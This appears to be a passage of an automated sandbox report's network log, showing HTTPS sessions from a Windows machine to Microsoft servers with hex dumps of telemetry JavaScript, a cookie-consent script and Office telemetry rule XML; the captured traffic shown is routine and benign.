2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	49833	13.107.246.63	443	3724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:04 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 00:03:05 UTC	713	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:05 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 17851 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5ef9cefc-301e-002d-1448-3c73ac000000 x-ms-version: 2009-09-19 x-azure-ref: 20241122T000305Z-15b8b599d88phfhnhC1TEBr51n00000000qg00000000neqp Accept-Ranges: bytes
2024-11-22 00:03:05 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-22 00:03:05 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-22 00:03:05 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-22 00:03:05 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:05 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:05 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000305Z-178bfbc474bbcwv4hC1NYCypys00000001xg00000000urva x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:05 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:05 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:05 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000305Z-178bfbc474bvjk8shC1NYC83ns000000021000000000bv53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:05 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:05 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:05 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:05 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: d8182971-801e-0067-2581-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000305Z-174c587ffdfb74xqhC1TEBhabc00000000mg00000000mnnc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:05 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
